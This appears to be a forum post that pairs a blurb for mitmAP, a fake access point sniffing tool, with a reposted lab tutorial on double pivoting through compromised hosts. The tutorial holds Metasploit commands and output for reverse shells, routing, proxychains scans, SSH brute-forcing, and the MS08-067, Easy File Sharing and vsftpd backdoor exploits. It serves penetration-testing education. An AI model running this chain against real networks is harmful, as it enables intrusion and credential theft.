Nytro

A python program to create a fake AP and sniff data. new in 2.0: SSLstrip2 for HSTS bypass Image capture with Driftnet TShark for command line .pcap capture features: SSLstrip2 Driftnet Tshark Full featured access point, with configurable speed limit mitmproxy Wireshark DNS Spoofing Saving results to file requirements: Kali Linux / Raspbian with root privileges A wireless card and an ethernet adapter / 2 wireless card Python3 (mitmAP will install the dependenices, you don't have to do it) Link: https://github.com/xdavidhu/mitmAP

Explore Hidden Networks With Double Pivoting December 31, 2016 Mucahit Karadag Network An n-layer security architecture is created to protect important services required by the concept of Defense-in-Depth, which has an important place in the world of information technology. If we think about this for the corporate networks; critical systems can not be in the same network as other systems. In this article, we will analyze with examples how the attackers can access the hidden networks that have no accessibility in the first stage, by using pivoting methods. What is Routing ? The process of determining how devices in different networks communicate with each other is called routing. Routing is usually performed with devices called “routers”. The routers, routes the network packages to the respective destinations by using the routing table. Routing can be done not only with network devices, such as routers, but also with any computer that has the operating system installed on it. According to the example in the above figure, successfully communicate between 192.168.1.0/24 and 192.168.10.0/24 networks requires a routing table record. According to the rule defined in the router, access is made from “192.168.1.0/24 source to 192.168.10.0/24 destination”. Adventure of a network package is as follow: Is the IP address to be accessed on the local network? If so, reach the destination. If not, send it to the gateway. Once the router receives the package, it looks at its own routing table Do I have a routing rule for the destination IP address or the destination network? If yes, route the package to the destination. If not, send to gateway. The same process is repeated in other routers. The package finally arrives to the router responsible for the internet exit of the institution. And the package is sent to the internet What is Pivoting ? A rabbit hole from Alice in Wonderland Basically, it is the process of accessing networks that we do not have access to under normal circumstances by using compromised computers. Network isolation will be useless in case of compromise a computer that has a access to the multiple. With this method, an attacker who performs routing on the compromised systems can access the hidden networks. Every request to be made to the newly discovered network is transmitted over the Pivot. It’s like a kind of tunnel. As seen in the above topology, the device that has two NICs has access to the both 192.168.1.0/24 and 192.168.10.0/24 networks. Under normal circumstances there is no access between these two networks -unless a routing rule is defined. According to this structure, the authorized user, who is using the computer with two NIC cards, has to access some services in the DMZ. Compromise First Pivot and Port Forwarding According to our attack scenario, meterpreter shell obtained in the system named as RD is also connected to the DMZ network. Later, it is determined that the target has two NICs with the information gathering process. Note: The router in the environment does not route between networks. msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 172.16.0.20 LHOST => 172.16.0.20 msf exploit(handler) > set LPORT 1234 LPORT => 1234 msf exploit(handler) > run [*] Started reverse TCP handler on 172.16.0.20:1234 [*] Starting the payload handler... [*] Sending stage (957487 bytes) to 172.16.0.11 [*] Meterpreter session 2 opened (172.16.0.20:1234 -> 172.16.0.11:49162) meterpreter > ifconfig Interface 1 ============ Name : Software Loopback Interface 1 Hardware MAC : 00:00:00:00:00:00 MTU : 4294967295 IPv4 Address : 127.0.0.1 IPv4 Netmask : 255.0.0.0 IPv6 Address : ::1 IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff Interface 11 ============ Name : Intel(R) PRO/1000 MT Desktop Adapter Hardware MAC : 08:00:27:e1:3f:af MTU : 1500 IPv4 Address : 172.16.0.11 IPv4 Netmask : 255.255.255.0 Interface 19 ============ Name : Intel(R) PRO/1000 MT Desktop Adapter #2 Hardware MAC : 08:00:27:7f:3c:fe MTU : 1500 IPv4 Address : 7.7.7.11 IPv4 Netmask : 255.255.255.0 According to our scenario, the attacker who gains access to the RD system will want to access the network with the second NIC (7.7.7.0/24). The attacker must first define the routing rule on RD to do this operation. It is quite easy to do this with Metasploit. The following command can be used to create the routing rule via the current meterpreter session. meterpreter > run autoroute -s 7.7.7.0/24 [*] Adding a route to 7.7.7.0/255.255.255.0... [+] Added route to 7.7.7.0/255.255.255.0 via 172.16.0.11 [*] Use the -p option to list all active routes meterpreter > run autoroute -p Active Routing Table ==================== Subnet Netmask Gateway ------ ------- ------- 7.7.7.0 255.255.255.0 Session 2 meterpreter > According to the defined rule; As long as the meterpreter session with ID value 2 is running, the 7.7.7.0/24 network can be accessed in the Metasploit Framework. After this step, the IP addresses of the JC system is detected using post modules such as arp_scanner. JC is another computer found in hidden network -7.7.7.20- meterpreter > run post/windows/gather/arp_scanner RHOSTS=7.7.7.0/24 [*] Running module against DISCORDIA [*] ARP Scanning 7.7.7.0/24 [*] IP: 7.7.7.11 MAC 08:00:27:7f:3c:fe (CADMUS COMPUTER SYSTEMS) [*] IP 7.7.7.12 MAC 08:00:27:3a:b2:c1 (CADMUS CIMPUTER SYSTEMS) [*] IP: 7.7.7.20 MAC 08:00:27:fa:a0:c5 (CADMUS COMPUTER SYSTEMS) [*] IP: 7.7.7.255 MAC 08:00:27:3f:2a:b5 (CADMUS COMPUTER SYSTEMS) meterpreter > IP addresses of live systems in 7.7.7.0/24 network, including JC named system, have been determined. Naturally, the following question will come to mind; Post modules such as arp_scanner may be insufficient for such scanning work, can nmap style scanning tools be used? Nmap via Pivoting In order to do this, the routing configuration must be active on Metasploit, and this configuration must also be able to be forwarded via socks4 proxy. There is another metasploit module that also meets this need. Use of socks4 proxy as metasploit module: meterpreter > background [*] Backgrounding session 2... msf > use auxiliary/server/socks4a msf auxiliary(socks4a) > show options Module options (auxiliary/server/socks4a): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The address to listen on SRVPORT 1080 yes The port to listen on. Auxiliary action: Name Description ---- ----------- Proxy msf auxiliary(socks4a) > set srvhost 172.16.0.20 srvhost => 172.16.0.20 msf auxiliary(socks4a) > run [*] Auxiliary module execution completed [*] Starting the socks4a proxy server msf auxiliary(socks4a) > netstat -antp | grep 1080 [*] exec: netstat -antp | grep 1080 tcp 0 172.16.0.20:1080 0.0.0.0: * LISTEN 3626/ruby msf auxiliary(socks4a) > With the ProxyChains tool developed for GNU\Linux operating systems, any TCP connection can be routed to destinations via TOR or SOCKS4, SOCKS5, HTTP / HTTPS. Multiple proxy servers can be used in this tunneling technique. In addition to providing anonymity, applications such as pivoting can also be used to direct traffic to new networks discovered. In the last line of the file /etc/proxychains.conf opened with a text editor, the information of the newly created socks4 proxy server is entered. --- snippet --- [ProxyList] # add proxy here ... # meanwile # defaults set to "tor" #socks4 127.0.0.1 9050 socks4 172.16.0.20 1080 Performing a nmap scan with proxychains is a simple process. Network packages will be delivered to the destination via the defined proxy. root@kali:~# proxychains nmap -sT -sV -Pn -n -p22,80,135,139,445 --script=smb-vuln-ms08-067.nse 7.7.7.20 ProxyChains-3.1 (http://proxychains.sf.net) Starting Nmap 7.25BETA1 ( https://nmap.org ) |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:80-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK Nmap scan report for 7.7.7.20 Host is up (0.17s latency). PORT STATE SERVICE VERSION 22/tcp open ssh Bitvise WinSSHD 7.16 (FlowSsh 7.15; protocol 2.0) 80/tcp closed http Easy File Sharing Web Server httpd 6.9 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows 2003 or 2008 microsoft-ds Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2003 Host script results: | smb-vuln-ms08-067: | VULNERABLE: | Microsoft Windows system vulnerable to remote code execution (MS08-067) | State: VULNERABLE | IDs: CVE:CVE-2008-4250 | The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2, | Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary | code via a crafted RPC request that triggers the overflow during path canonicalization. | | Disclosure date: 2008-10-23 | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250 |_ https://technet.microsoft.com/en-us/library/security/ms08-067.aspx Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.51 seconds root@kali:~# Based on the scan results, there are SSH and HTTP services that will work on the target system. Before going further with exploitation, we will cover a another technique for traffic routing called as port forwarding. Port Forwarding Port forwarding is one of the basic steps of pivoting. Direct access to certain services running on discovered systems on the hidden network may not be available (web servers, etc.). This is because there is no double sided routing. We know how to reach the target system and make a request, but our requests will fail because the target does not know how to reach us. For this reason, we route a port on our own system to the destination via the defined meterpreter session. The routing will work as long as this process is alive. There is one important point to be noted at this point, the routing we provide with the run autoroute command gives us the freedom to work in the Metasploit Framework. But when we try to reach the target with a Kali tools, we need tools like port forwarding or proxychains. Port forwarding can be done with portfwd module which is one of the post modules of Metasploit. meterpreter > portfwd -h Usage: portfwd [-h] [add | delete | list | flush] [args] OPTIONS: -L <opt> Forward: local host to listen on (optional). Remote: local host to connect to. -R Indicates a reverse port forward. -h Help banner. -i <opt> Index of the port forward entry to interact with (see the "list" command). -l <opt> Forward: local port to listen on. Reverse: local port to connect to. -p <opt> Forward: remote port to connect to. Reverse: remote port to listen on. -r <opt> Forward: remote host to connect to. meterpreter > When we send a link request to our local 2323 port on our internet browser, this connection request will be forwarded to port 80 of the computer with IP address 7.7.7.20. Previously, it was determined that a web service was running on the 80th TCP port of the 7.7.7.20,thanks to ProxyChains and Nmap. In order to access this service, the port 2323 of the local system should be routed to port 80 of 7.7.7.20 which we want to access. meterpreter > portfwd add -L 172.16.0.20 -l 2323 -p 80 -r 7.7.7.20 [*] Local TCP relay created: 172.16.0.20:2323 <-> 7.7.7.20:80 meterpreter > Active rules can be viewed with the portfwd list command. meterpreter > portfwd list Active Port Forwards ==================== Index Local Remote Direction ----- ----- ------ --------- 1 172.16.0.20:2323 7.7.7.20:80 Forward 1 total active port forwards. meterpreter > When the application running on port 80 of the target system with IP address 7.7.7.20 is checked, it will be detected as Eash File Sharing Web Server. SSH Brute-Force over Pivoting As you know, a SSH service was detected on 7.7.7.20. Performing a brute-force attack on this service is quite simple. The SSH_enumusers auxiliary module allows user detection: msf > use auxiliary/scanner/ssh/ssh_enumusers msf auxiliary(ssh_enumusers) > set rhosts 7.7.7.20 rhosts => 7.7.7.20 msf auxiliary(ssh_enumusers) > set rport 22 rport => 22 msf auxiliary(ssh_enumusers) > set user_file /usr/share/wordlists/metasploit/default_users_for_services_unhash.txt user_file => /usr/share/wordlists/metasploit/default_users_for_services_unhash.txt msf auxiliary(ssh_enumusers) > run [*] 7.7.7.20:22 - SSH - Checking for false positives [*] 7.7.7.20:22 - SSH - Starting scan [+] 7.7.7.20:22 - SSH - User 'admin' found [-] 7.7.7.20:22 - SSH - User 'root' not found [-] 7.7.7.20:22 - SSH - User 'Administrator' not found [+] 7.7.7.20:22 - SSH - User 'sysadm' found [-] 7.7.7.20:22 - SSH - User 'tech' not found [-] 7.7.7.20:22 - SSH - User 'operator' not found [+] 7.7.7.20:22 - SSH - User 'guest' found [-] 7.7.7.20:22 - SSH - User 'security' not found [-] 7.7.7.20:22 - SSH - User 'debug' not found [+] 7.7.7.20:22 - SSH - User 'manager' found [-] 7.7.7.20:22 - SSH - User 'service' not found [-] 7.7.7.20:22 - SSH - User '!root' not found [+] 7.7.7.20:22 - SSH - User 'user' found [-] 7.7.7.20:22 - SSH - User 'netman' not found [+] 7.7.7.20:22 - SSH - User 'super' found [-] 7.7.7.20:22 - SSH - User 'diag' not found [+] 7.7.7.20:22 - SSH - User 'Cisco' found [-] 7.7.7.20:22 - SSH - User 'Manager' not found [+] 7.7.7.20:22 - SSH - User 'DTA' found [-] 7.7.7.20:22 - SSH - User 'apc' not found [+] 7.7.7.20:22 - SSH - User 'User' found [-] 7.7.7.20:22 - SSH - User 'Admin' not found [+] 7.7.7.20:22 - SSH - User 'cablecom' found [-] 7.7.7.20:22 - SSH - User 'adm' not found [+] 7.7.7.20:22 - SSH - User 'wradmin' found [-] 7.7.7.20:22 - SSH - User 'netscreen' not found [+] 7.7.7.20:22 - SSH - User 'sa' found [-] 7.7.7.20:22 - SSH - User 'setup' not found [+] 7.7.7.20:22 - SSH - User 'cmaker' found [-] 7.7.7.20:22 - SSH - User 'enable' not found [+] 7.7.7.20:22 - SSH - User 'MICRO' found [-] 7.7.7.20:22 - SSH - User 'login' not found [*] Caught interrupt from the console... [*] Auxiliary module execution completed ^C msf auxiliary(ssh_enumusers) > In addition to the auxiliary modules on the Metasploit Framework for attack, Kali tools such as Hydra can also be used. By running Hydra in ProxyChains, all traffic will be routed to the target system through the compromised system. root@kali:~# proxychains hydra 7.7.7.20 ssh -s 22 -L /tmp/user.txt -P top100.txt -t 4 ProxyChains-3.1 (http://proxychains.sf.net) Hydra v8.2 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (http://www.thc.org/thc-hydra) starting [WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort... [DATA] max 4 tasks per 1 server, overall 64 tasks, 20 login tries (l:2/p:10), ~0 tries per task [DATA] attacking service ssh on port 22 |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK |S-chain|-<>-172.16.0.20:1080-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK <><>-OK <><>-OK <><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK [22][ssh] host: 7.7.7.20 login: admin password: 123456 |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK <><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK |S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK 1 of 1 target successfully completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished root@kali:~# SSH connection can be made to the target system via proxy server with admin username and 123456 password obtained from brute-force attack with Hydra. root@kali:~# proxychains ssh admin@7.7.7.20 ProxyChains-3.1 (http://proxychains.sf.net) |D-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK The authenticity of host '7.7.7.20 (7.7.7.20)' can't be established. ECDSA key fingerprint is SHA256:Rcz2KrPF3BTo16Ng1kET91ycbr9c8vOkZcZ6b4VawMQ. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '7.7.7.20' (ECDSA) to the list of known hosts. admin@7.7.7.20's password: bvshell:/C/Documents and Settings/All Users$ pwd /C/Documents and Settings/All Users bvshell:/C/Documents and Settings/All Users$ dir 2016-12-24 21:32 <DIR> Application Data 2016-12-25 06:16 <DIR> Desktop 2016-12-24 18:36 <DIR> Documents 2016-12-24 18:37 <DIR> DRM 2016-12-24 21:32 <DIR> Favorites 2016-12-24 18:38 <DIR> Start Menu 2016-12-24 21:32 <DIR> Templates 0 Files 0 bytes 7 Directories bvshell:/C/Documents and Settings/All Users$ Gaining Access to the Second Pivot If you remember, there were two vulnerabilities in our nmap scan on the 7.7.7.0/24 network range. These weaknesses were MS08-067 and BoF vulnerability in Easy File Share application. Access to the target system can be achieved in both ways. Another option is to continue with the SSH access, but we will continue through MS08-067 and Easy File Share. MS08-067 with Bind TCP The module with the full path exploit/windows/smb/ms08_067_netapi available in the Metasploit Framework can be used to compromise the target system via MS08-067 vulnerability. The important point here is that bind_tcp is selected as the payload type. Since the double-sided routing is not defined, the target system will not be able to directly reach us. For this reason, it is necessary to select the Bind TCP payload type so that the target should wait for a connection on its own port. After the successful exploit operation, the connection to the port where the target system is listening will be performed. How Reverse TCP and Bind TCP connections work can be examined through the following visuals. Setting up the MS08-067-Netapi exploit module with the Bind TCP payload and compromise the target: msf > use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > show options Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes The SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Exploit target: Id Name -- ---- 0 Automatic Targeting msf exploit(ms08_067_netapi) > set rhost 7.7.7.20 rhost => 7.7.7.20 msf exploit(ms08_067_netapi) > set payload windows/meterpreter/bind_tcp payload => windows/meterpreter/bind_tcp msf exploit(ms08_067_netapi) > show options Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 7.7.7.20 yes The target address RPORT 445 yes The SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload options (windows/meterpreter/bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LPORT 4444 yes The listen port RHOST 7.7.7.20 no The target address Exploit target: Id Name -- ---- 0 Automatic Targeting msf exploit(ms08_067_netapi) > run [*] Started bind handler [*] 7.7.7.20:445 - Automatically detecting the target... [*] 7.7.7.20:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown [*] 7.7.7.20:445 - We could not detect the language pack, defaulting to English [*] 7.7.7.20:445 - Selected Target: Windows 2003 SP2 English (NX) [*] 7.7.7.20:445 - Attempting to trigger the vulnerability... [*] Sending stage (957999 bytes) to 7.7.7.20 [*] Meterpreter session 2 opened (172.16.0.20-172.16.0.11:0 -> 7.7.7.20:4444) meterpreter > Easy File Share BoF Another vulnerability was the Easy File Share application. Setting the exploit module with the Bind TCP payload and compromise the target can be accomplished with the following steps: msf > use exploit/windows/http/easyfilesharing_seh msf exploit(easyfilesharing_seh) > show options Module options (exploit/windows/http/easyfilesharing_seh): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 80 yes The target port Exploit target: Id Name -- ---- 0 Easy File Sharing 7.2 HTTP msf exploit(easyfilesharing_seh) > set rhost 7.7.7.20 rhost => 7.7.7.20 msf exploit(easyfilesharing_seh) > set payload windows/meterpreter/bind_tcp payload => windows/meterpreter/bind_tcp msf exploit(easyfilesharing_seh) > run [*] Started bind handler [*] 7.7.7.20:80 - 7.7.7.20:80 - Sending exploit... [+] 7.7.7.20:80 - Exploit Sent [*] Sending stage (957999 bytes) to 7.7.7.20 [*] Meterpreter session 2 opened (172.16.0.20-172.16.0.11:0 -> 7.7.7.20:4444) at 2016-12-26 14:21:11 +0300 meterpreter > ipconfig Interface 1 ============ Name : MS TCP Loopback interface Hardware MAC : 00:00:00:00:00:00 MTU : 1520 IPv4 Address : 127.0.0.1 Interface 65539 ============ Name : Intel(R) PRO/1000 MT Desktop Adapter Hardware MAC : 08:00:27:29:cd:cb MTU : 1500 IPv4 Address : 8.8.8.3 IPv4 Netmask : 255.255.255.0 Interface 65540 ============ Name : Intel(R) PRO/1000 MT Desktop Adapter #2 Hardware MAC : 08:00:27:e3:47:43 MTU : 1500 IPv4 Address : 7.7.7.20 IPv4 Netmask : 255.255.255.0 meterpreter > In the last case, the point where the attacker comes is as below: Since we’ve got an access to the 7.7.7.20 machine. We need to perform information gathering again. JC named machine have two NIC like RD machine. That means we’ve found our second hidden network (8.8.8.0/24). meterpreter > ipconfig Interface 1 ============ Name : MS TCP Loopback interface Hardware MAC : 00:00:00:00:00:00 MTU : 1520 IPv4 Address : 127.0.0.1 Interface 65539 ============ Name : Intel(R) PRO/1000 MT Desktop Adapter Hardware MAC : 08:00:27:29:cd:cb MTU : 1500 IPv4 Address : 8.8.8.3 IPv4 Netmask : 255.255.255.0 Interface 65540 ============ Name : Intel(R) PRO/1000 MT Desktop Adapter #2 Hardware MAC : 08:00:27:e3:47:43 MTU : 1500 IPv4 Address : 7.7.7.20 IPv4 Netmask : 255.255.255.0 Let’s continue information gathering by performing arp scanner on second hidden network. meterpreter > run post/windows/gather/arp_scanner RHOSTS=8.8.8.0/24 [*] Running module against SRV03 [*] ARP Scanning 8.8.8.0/24 [*] IP: 8.8.8.3 MAC 08:00:27:29:cd:cb (CADMUS COMPUTER SYSTEMS) [*] IP: 8.8.8.1 MAC 0a:00:27:00:00:03 (UNKNOWN) [*] IP: 8.8.8.9 MAC 08:00:27:56:f1:7c (CADMUS COMPUTER SYSTEMS) [*] IP: 8.8.8.13 MAC 08:00:27:13:a3:b1 (CADMUS COMPUTER SYSTEMS) ARP scan says 4 machine found in this network. meterpreter > run autoroute -s 8.8.8.0/24 [*] Adding a route to 8.8.8.0/255.255.255.0... [+] Added route to 8.8.8.0/255.255.255.0 via 7.7.7.20 [*] Use the -p option to list all active routes msf > route print Active Routing Table ==================== Subnet Netmask Gateway ------ ------- ------- 7.7.7.0 255.255.255.0 Session 1 8.8.8.0 255.255.255.0 Session 3 And we are adding routing definition again. We will talk about that in next chapter. Double Pivoting 8.8.8.0/24 network was discovered in the information gathering process for the JC system. We already have a routing rule between 172.16.0.0/24 and 7.7.7.0/24 networks via the first compromised machine. In the present case, network packages that comes from 172.16.0.20 to access the JC device (second compromised machine) first go to the RD device (first compromised machine), and the RD transmits those packages to the JC machine. If the attacker who is 172.16.0.20 wishes to access 8.8.8.0/24 -newly discovered second hidden network– network, a new routing rule must be defined. In the tools we will use outside the Metasploit Framework, we must run a new socks4 proxy server to connect these two pivots and define the new proxy server in the configuration file of the proxychains tool. Network packages attempting to reach the 8.8.8.9 destination from the attacker machine (172.16.0.20) will pass through two different points: RD: I do not know how to access the 8.8.8.9 IP address. But I know the system who knows how to access it. I can direct you to it. JC: I know how to forward packets from the 7.7.7.0/24 network to the 8.8.8.0/24 network. The final state of the compromised and discovered systems is as follows. Holy Proxychains The ProxyChains tool connects the proxy servers and transmits the connection end to end. In the last phase, a new socks4 proxy server is run on the local 1081 port for the newly discovered 8.8.8.0/24 network. msf exploit(ms08_067_netapi) > use auxiliary/server/socks4a msf auxiliary(socks4a) > show options Module options (auxiliary/server/socks4a): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 172.16.0.20 yes The address to listen on SRVPORT 1080 yes The port to listen on. Auxiliary action: Name Description ---- ----------- Proxy msf auxiliary(socks4a) > set SRVPORT 1081 SRVPORT => 1081 msf auxiliary(socks4a) > run [*] Auxiliary module execution completed [*] Starting the socks4a proxy server msf auxiliary(socks4a) > The information of the new proxy server will define in the /etc/proxychains.conf configuration file. By activating the Dynamic Chain setting, sequential switching between the defined proxy servers is ensured. root@kali:~# cat /etc/proxychains.conf | grep -v "#" dynamic_chain proxy_dns tcp_read_time_out 15000 tcp_connect_time_out 8000 socks4 172.16.0.20 1080 # First Pivot socks4 172.16.0.20 1081 # Second Pivot With the Proxychains tool, the 8.8.8.9 target can be scanned via the second pivot system with the nmap tool. root@kali:~# proxychains nmap -sT -sV -p21,22,23,80 8.8.8.9 -n -Pn -vv ProxyChains-3.1 (http://proxychains.sf.net) Starting Nmap 7.25BETA1 ( https://nmap.org ) Nmap wishes you a merry Christmas! Specify -sX for Xmas Scan (https://nmap.org/book/man-port-scanning-techniques.html). NSE: Loaded 36 scripts for scanning. Initiating Connect Scan Scanning 8.8.8.9 [4 ports] |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:21-<><>-OK Discovered open port 21/tcp on 8.8.8.9 |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:23-<><>-OK Discovered open port 23/tcp on 8.8.8.9 |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:22-<><>-OK Discovered open port 22/tcp on 8.8.8.9 |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK Discovered open port 80/tcp on 8.8.8.9 Completed Connect Scan at 05:54, 1.37s elapsed (4 total ports) Initiating Service scan at 05:54 Scanning 4 services on 8.8.8.9 |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:21-<><>-OK |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:22-<><>-OK |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:23-<><>-OK |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK Completed Service scan at 05:54, 11.09s elapsed (4 services on 1 host) NSE: Script scanning 8.8.8.9. NSE: Starting runlevel 1 (of 2) scan. Initiating NSE at 05:54 |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK |D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK Completed NSE at 05:54, 1.71s elapsed NSE: Starting runlevel 2 (of 2) scan. Initiating NSE at 05:54 Completed NSE at 05:54, 0.00s elapsed Nmap scan report for 8.8.8.9 Host is up, received user-set (0.41s latency). Scanned PORT STATE SERVICE REASON VERSION 21/tcp open ftp syn-ack vsftpd 2.3.4 22/tcp open ssh syn-ack OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 23/tcp open telnet syn-ack Linux telnetd 80/tcp open http syn-ack Apache httpd 2.2.8 ((Ubuntu) DAV/2) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.59 seconds root@kali:~# As you can see, the packages goes through the first proxy server, then the second proxy server we have defined. Finally, it reaches its destination. When the scan result is analyzed, it will be determined that a vulnerable version of the vsftpdservice is installed on 8.8.8.9. The following steps are taken to prepare the vsftpd exploit module in the Metasploit Framework and to compromise out final target: msf > msf > use exploit/unix/ftp/vsftpd_234_backdoor msf exploit(vsftpd_234_backdoor) > show options Module options (exploit/unix/ftp/vsftpd_234_backdoor): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 21 yes The target port Exploit target: Id Name -- ---- 0 Automatic msf exploit(vsftpd_234_backdoor) > set rhost 8.8.8.9 rhost => 8.8.8.9 msf exploit(vsftpd_234_backdoor) > run [*] 8.8.8.9:21 - Banner: 220 (vsFTPd 2.3.4) [*] 8.8.8.9:21 - USER: 331 Please specify the password. [+] 8.8.8.9:21 - Backdoor service has been spawned, handling... [+] 8.8.8.9:21 - UID: uid=0(root) gid=0(root) [*] Found shell. [*] Command shell session 4 opened (Local Pipe -> Remote Pipe) pwd / id uid=0(root) gid=0(root) ifconfig eth0 Link encap:Ethernet HWaddr 08:00:27:56:f1:7c inet addr:8.8.8.9 Bcast:8.8.8.255 Mask:255.255.255.0 inet6 addr: fe80::a00:27ff:fe56:f17c/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:10843 errors:0 dropped:0 overruns:0 frame:0 TX packets:2779 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:1081842 (1.0 MB) TX bytes:661455 (645.9 KB) Base address:0xd010 Memory:f0000000-f0020000 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:18161 errors:0 dropped:0 overruns:0 frame:0 TX packets:18161 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:5307479 (5.0 MB) TX bytes:5307479 (5.0 MB) In Conclusion The attacker discovered 2 different secret networks by following the steps below. Attacked got an access to the RD machine which was on same network with attacker. And then he realise that RD machine has 2 network interface. He defined an routing rule by using autoroute post module. And then attacker performed ARP and NMAP scanning on 7.7.7.0/24 network and found machine named as JC. JC had a two different vulnerability. Easy File Share and MS08-067. Successfully exploitation of MS08-067 allowed attacker to gain an access to the 7.7.7.20 Information gathering showed JC also have 2 network interface. Another routing rule defined on 7.7.7.20. ARP and NMAP was used on 8.8.8.0/24. Vulnerable vsftp was running on 8.8.8.9 machine named as SK. Final. While the attacker’s system could only gain access to the first network he was on, he could also gain access to 2 hidden networks as a result of the attacks. … and Video Ofcourse For the people who couldn’t follow this article. We have a video that shows all instructions together Mitigations Systems that contain multiple NICs and provide DMZ access should be removed from the existing network structure. Systems in the DMZ structure should only be accessed over DMZ structures. References http://magikh0e.ihtb.org/pubPapers/ssh_gymnastics_tunneling.html https://www.sans.org/reading-room/whitepapers/testing/post-exploitation-metasploit-pivot-port-33909 https://highon.coffee/blog/ssh-meterpreter-pivoting-techniques/ metasploit pivoting routing windows MUCAHIT KARADAG Security Researcher Link: https://pentest.blog/explore-hidden-networks-with-double-pivoting/

